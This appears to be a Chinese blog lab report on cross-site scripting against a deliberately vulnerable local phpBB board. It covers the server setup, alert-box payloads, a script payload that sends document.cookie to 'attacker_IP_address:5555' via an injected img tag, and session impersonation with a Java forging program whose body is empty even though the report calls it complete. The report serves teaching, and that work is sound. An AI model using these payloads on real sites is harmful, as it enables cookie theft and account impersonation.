Cross-Site Scripting (XSS)攻击实验报告 一

标签:
alert窗口弹出cookies利用cookersit |
分类: 信息安全技术与实验 |
(如果大家发现报告中有问题的话,欢迎大家留言讨论O(∩_∩)O。。。。)
第一部分 实验目的
1.1 理解跨站脚本(XSS)攻击的原理
1.2 熟悉JavaScript脚本语言的使用
1.3 熟悉火狐浏览器中Live Http Headers工具的使用
第二部分 实验介绍
2.1 实验背景
Cross-site scripting(以下简称XSS)是网页应用程序的一种常见漏洞,它使得攻击者向受害者的浏览器中注入恶意的代码(例如一段JavaScript脚本程序)。一旦执行这段代码,攻击者就可以偷取受害者的隐私数据,比如cookies。虽然浏览器可以使用一些保护措施,比如(同源措施, 参考资料[1])。但是XSS攻击却可以轻易绕过这些保护措施,正因为如此才导致了目前Internet上XSS攻击的盛行。
为了说明攻击者是如何探索XSS漏洞的,我们建立一个信息公告版(相当于BBS,后面简称BBS)。我们修改了这个软件,使其具有XSS漏洞。这种漏洞使得BBS的用户可以向自己贴中添加任何的内容,包括JavaScript脚本(这对本使用至关重要)。这样的话,BBS的用户就可以在贴中添加XSS攻击脚本。而其他用户,如果来点击阅览这些具有恶意代码的帖子,他们就会被攻击,被攻击的结果是以这些受害者的名义发布伪造的帖子。
2.2 实验配置
2.2.1Firefox浏览器:
我们需要使用Firefox中的LiveHTTPHeader插件来查看HTTP请求和回复信息
Apache服务器:
使用命令:
sudo apache2ctl start
或者
sudo service apache2 start
启动Apache服务器。
配置web服务器:
Apache服务器具有基于名字的虚拟主机特性,这种特性使得可以在同一台机器上配置多个web网站。这可以通过修改/etc/apache2/sites-available文件中的NameVirtualHost*字段达到目的,每一个web应用程序都有一个VirtualHost字段来配置网站对应的URL,以及网站源程序所在的目录。
例如:
我们用URL:http://www.example1.com配置一个网站地址,用/var/www/Example_1/来配置网站源程序放置的目录;
用URL:http://www.example2.com配置一个网站地址,用/var/www/Example_2/来配置网站源程序放置的目录。
为了达到上述目标,我们需要配置下面的VirtualHost字段:
<VirtualHost *>
ServerName http://www.example1.com
DocumentRoot /var/www/Example_1/
</VirtualHost>
<VirtualHost *>
ServerName http://www.example2.com
DocumentRoot /var/www/Example_2/
</VirtualHost>
例如本实验用的www.xssphpbb.com在/etc/apache2/sites-available中的配置信息如下:
http://s16/middle/70dd1691076d21b1f149f&690Scripting
2.2.2 phpBB信息公告板系统:
phpBB 网站应用程序已经安装在我们的系统中,我们可以使用URL:http://www.xsslabphpbb.com/来访问这个BBS系统。
备注:这个URL仅仅在我们的虚拟机内部可以访问,因为我们修改了/etc/hosts文件,使得域名:
http://www.xsslabphpbb.com/映射到本机的IP地址:127.0.0.1。
示意图如下
http://s5/middle/70dd16914a43511f363a4&690Scripting
备注:
当然了,我们也可以修改/etc/hosts映射任何一个域名到一个特定的IP地址,例如你可以映射http://www.example.com到本地IP,通过如下修改/etc/hosts中的映射表:
127.0.0.1
因此,如果你的web服务器和浏览器不在同一个机器上,你需要修改浏览器所在主机的/etc/hosts文件,让www.xsslabphpbb.com到服务器的IP地址。但是实验中为了方便,我们把BSS服务器和浏览器在同一个虚拟机上。
第三部分 实验内容
3.1 发送一段可以显示alert窗口的恶意代码
下面的这段JavaScript代码可以显示一个Alert窗口:
<script>alert(’XSS’);</script>
如果我们发的帖中包含这段JavaScript脚本,那么任何一个浏览我们贴着的人都会看到一个alert窗口。
程序示意如下:
Step1:发一个名为A alert window,内容为<script>alert(’XSS’);</script>的帖子:
http://s4/middle/70dd16914a4351a6a3ff3&690Scripting
Step2:任何一个浏览该贴的人,都会弹出一个alert窗口,不管你是否登录BBS
http://s13/middle/70dd1691076d21c6981ac&690Scripting
弹出Alert窗口如下:
http://s10/middle/70dd16914a4351e232519&690Scripting
3.2 用alert窗口显示用户Cookies
发一个名为Display Cookies的帖子,发帖内容如下:
<script>alert(document.cookie);</script>
Hello Everybody,
Welcome to this message board.
发帖过程同3.1.
当单击这个帖子阅读时,会弹出alert窗口,显示用户的cookies:
http://s6/middle/70dd16914a435206efc75&690Scripting
3.3 盗取受害者的Cookies
在3.2中,用户在贴中贴入上述的JavaScript,就能够显示出用户的Cookies。本次试验中,攻击者想让JavaScript代码发送用户的Cookies到攻击者的终端上。为了能够达到这个目标,我们希望JavaScript代码能够向攻击者发送一个HTTP请求,同时把Cookies追加到这个请求上。
为了达到这个目的,我们在JavaScript中插入一个<img>标签,标签的src指向攻击者的URL,这样当JavaScript试图插入一个img标志时,浏览器会从指定的URL中载入图片,所以它会向攻击者发送一个HTTP GET请求。例如下面的JavaScript脚本将用户的Cookies发向攻击者的5555端口。同时在攻击者的5555端口运行一个TCP服务器,它不停的监听这个端口,并把收到的请求打印在终端打印出来。
JavaScript脚本:
Hello Folks,
<script>document.write(’<img src=http://attacker_IP_address:5555?c=’
+ escape(document.cookie) + ’ >’); </script>
This script is to test XSS. Thanks.
第一步:BBS用户ted发送含有上脚本的帖子,示意图如下:
http://s10/middle/70dd1691076d21d12f7e9&690Scripting
第二步:ted发送帖子的时间,就会运行JavaScript脚本,该脚本将ted的cookies发往攻击者,攻击者上运行一个TCP服务器监听端口5555,并把收到的信息在终端中显示出来。这样ted的cookies就会在攻击者机器的终端上显示出来。
示意图如下:
http://s2/middle/70dd1691076d21d3f2951&690Scripting
3.4 利用获取的Cookies来冒充受害者
攻击者偷到受害者的cookies之后,攻击者就可以在BBS中冒充受害者做任何受害者可以做的事情,比如以受害者的名义发一个新帖,或者删除受害者已发的帖子等等,本次实验中我们就利ted的cookies,在BBS中以ted的名义发送一个新的帖子。
ted登录bbs发贴,同时用火狐的HTTP LIVE Headers插件捕获发帖的信息:
http://s11/middle/70dd16914a4352a11182a&690Scripting
http://s15/middle/70dd1691076d21e0b8cae&690Scripting
用捕获的ted发帖的上述信息,编写HTTPSimpleForge.java程序,并填写相关的参数。
完整的HTTPSimpleForge.java代码如下:
import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
}
编译并运行java程序,在BBS中,以ted的名义发帖:
http://s11/middle/70dd16914a4353301e66a&690Scripting
http://s6/middle/70dd16914a4353437d595&690Scripting
(下一篇待续................)